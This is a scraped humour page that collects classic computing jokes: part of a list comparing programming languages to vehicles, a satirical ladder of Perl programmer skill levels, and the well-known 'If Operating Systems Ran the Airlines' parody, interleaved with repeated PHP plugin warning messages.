Maple/MACSYMA – All-terrain vehicles.

FORTH – A go-cart.

LOGO – A kiddie’s replica of a Rolls Royce. Comes with a real engine and a working horn.

APL – A double-decker bus. Its takes rows and columns of passengers to the same place all at the same time. But, it drives only in reverse gear, and is instrumented in Greek.

Ada – An army-green Mercedes-Benz staff car. Power steering, power brakes and automatic transmission are all standard. No other colors or options are available. If it’s good enough for the generals, it’s good enough for you. Manufacturing delays due to difficulties reading the design specification are starting to clear up.

By Daniel Solomon & David Rosenblueth, Department of Computer Science, University of Waterloo

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Novice

• Thinks CGI and Perl are interchangeable terms.
• Still thinks Perl looks like bad C code viewed over a noisy modem.
• Is insecure about the concept of dollar signs.
• Thinks Perl should be more like sh or tcl.
• Has heard of the `Unix mindset’, but hopes it’s a treatable condition.
• Can’t figure out how to read input from the keyboard.
• Thinks regular expressions are somebody cursing.
• Wonders why no one can give him a straight answer about whether Perl is compiled or interpreted.

Initiate

• Has begun to learn about $_ – and doesn’t like it a bit.
• Thinks -w flag is a waste of time.
• Thinks Perl should be more like C++ or Java.
• Is still trying to figure why Perl has two different kinds of arrays.
• Knows how to use perlbug, but sends in bogus bug reports.
• Has been bitten by implicit context conversions, but hasn’t caught on yet.
• Can’t keep == separate from eq, and thinks that + should concatenate strings.

User

• Thinks Perl is just for text processing.
• Uses the Perl debugger.
• Has used other people’s modules.
• Wonders what an object is.
• Knows their way around CPAN.
• Knows the difference between local and my.
• Uses <DATA>.
• Is still trying to figure what references are for.
• Thinks Perl should be more like scheme or eiffel.
• Submits real bug reports with perlbug.

Expert

• Write JAPHs to impress their friends and annoy their coworkers.
• Begins all programs with use strict.
• Thinks Perl should just be Perl.
• Has taken enough advantage of cryptocontext to annoy others.
• Knows how to create records and objects with hash refs.
• Uses syscall to get at undocumented operating system calls.
• Curses the flexibility of the Perl object system.
• Uses /e in substitutes.
• Has begun to wonder what typeglobs are for.
• Has written their own modules in Perl.
• Begins to look at all data in terms of regular expressions.
• Understands why regexes can’t match nested data.
• Rewrites minor utilities in Perl.

Hacker

• Writes games in Perl.
• Has written extension modules in C.
• Uses AUTOLOAD and closures in curious ways.
• Appreciates the aethetics of the Schwartzian Transform.
• Delights in the flexibility of the Perl object system.
• Has written their own pod2XXX translator.
• Understands the output from Perl -Dflags.
• Accesses the Perl symbol table directly.
• Submits bug reports with working patches.
• Edits files using a special Perl-embedded version of vi or emacs.
• Has contributed modules, manpages, and tools to the standard Perl distribution.

Guru

• Can answer any Perl question instantly.
• Can write anything in Perl – and does.
• Takes advantage of undocumented language features.
• Writes code that gives even Larry pause.
• Implements opaque objects and compiled regexes using closures.
• Can read and understand the output of the perl-to-C compiler.
• Embeds Perl interpreters in larger applications.
• Has written their own -d:debugger module.
• Used object-oriented programming before it existed.
• Is debating taking their turn (again?) with the patch pumpkin.

Wizard

• Is on a first-name basis with Larry’s wife.
• Has written or rewritten major areas in the Perl compiler or interpreter.
• Is thinking about rewriting the regex engine, the memory allocator, or the garbage collector.
• Doesn’t write games in Perl, because they realize that Perl itself is the game.

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Warning: constant() [function.constant]: Couldn't find constant TT_RIMS_LEN in /home/stupidsi/public_html/new/wp-content/plugins/tweet-this/tweet-this.php on line 1243

Different operating systems. Different styles. But what if the quirks and
styles of the different operating systems were applied to AIRLINES? What if airlines ran things the way operating systems do?

This humorous analogy, applying operating system philosophies
as if they were airlines, is a long-standing much-circulated amusing story, and we’d credit the author if we knew who wrote it!

If Operating Systems Ran
The Airlines…

UNIX Airways

Everyone brings one piece of the plane along when they come to the airport. They all go out on the runway and put the plane together piece by piece, arguing non-stop about what kind of plane they are supposed to be building.

Air DOS

Everybody pushes the airplane until it glides, then they jump on and let the plane coast until it hits the ground again. Then they push again, jump on again, and so on…

Mac Airlines

All the stewards, captains, baggage handlers, and ticket agents look and act exactly the same. Every time you ask questions about details, you are gently but firmly told that you don’t need to know, don’t want to know, and everything will be done for you without your ever
having to know, so just shut up.

Windows Air

The terminal is pretty and colourful, with friendly stewards, easy baggage check and boarding, and a smooth take-off. After about 10 minutes in the air, the plane explodes with no warning whatsoever.

Windows NT Air

Just like Windows Air, but costs more, uses much bigger planes,
and takes out all the other aircraft within a 40-mile radius when it explodes.

Windows XP Air

You turn up at the airport,which is under contract to only allow XP
Air planes. All the aircraft are identical, brightly coloured and three times as big as they need to be.
The signs are huge and all point the same way.
Whichever way you go, someone pops up dressed in a cloak and pointed
hat insisting you follow him.
Your luggage and clothes are taken off you and replaced with an XP Air suit and suitcase identical to everyone around you as this is included in the exorbitant ticket cost.
The aircraft will not take off until you have signed a contract.
The inflight entertainment promised turns out to be the same Mickey Mouse cartoon repeated over and over again.
You have to phone your travel agent before you can have a meal or drink.
You are searched regularly throughout the flight.
If you go to the toilet twice or more you get charged for a new ticket.
No matter what destination you booked you will always end up crash landing at Whistler in Canada.

OSX Air:

You enter a white terminal, and all you can see is a woman sitting in the corner behind a white desk, you walk up to get your ticket. She smiles and says “Welcome to OS X Air, please allow us to take your picture”, at which point a camera in the wall you didn’t notice before takes your picture. “Thank you, here is your ticket” You are handed a
minimalistic ticket with your picture at the top, it already has all of your information. A door opens to your right and you walk through. You enter a wide open space with one seat in the middle, you sit, listen to music and watch movies until the end of the flight. You never see any of the other passengers. You land, get off, and you say to yourself “wow, that was really nice, but I feel like something was missing”

Windows Vista Airlines:

You enter a good looking terminal with the largest planes you have ever seen. Every 10 feet a security officer appears and asks you if you are “sure” you want to continue walking to your plane and if you would like to cancel. Not sure what cancel would do, you continue walking and ask the agent at the desk why the planes are so big. After the security
officer making sure you want to ask the question and you want to hear the answer, the agent replies that they are bigger because it makes customers feel better, but the planes are designed to fly twice as slow.
Adding the size helped achieve the slow fly goal.

Once on the plane, every passenger has to be asked individually by the flight attendants if they are sure they want to take this flight. Then it is company policy that the captain asks the passengers collectively the same thing. After answering yes to so many questions, you are punched in the face by some stranger who when he asked “Are you sure you want me to punch you in the face? Cancel or Allow?” you instinctively
say “Allow”.

After takeoff, the pilots realize that the landing gear driver wasn’t updated to work with the new plane. Therefore it is always stuck in the down position. This forces the plane to fly even slower, but the pilots are used to it and continue to fly the planes, hoping that soon the landing gear manufacturer will give out a landing gear driver update.

You arrive at your destination wishing you had used your reward miles with XP airlines rather than trying out this new carrier. A close friend, after hearing your story, mentions that Linux Air is a much better alternative and helps.

Linux Air

Disgruntled employees of all the other OS airlines decide to start their own airline. They build the planes, ticket counters, and pave the runways Themselves. They charge a small fee to cover the cost of printing the ticket, but you can also download and print the
ticket yourself.

When you board the plane, you are given a seat, four bolts, a wrench and a copy of the seat-HOWTO.html. Once settled, the fully adjustable seat is very comfortable, the plane leaves and arrives on time without a single problem, the in-flight meal is wonderful. You try to tell customers of the other airlines about the great trip, but all they can say is, “You had to do what with the seat?”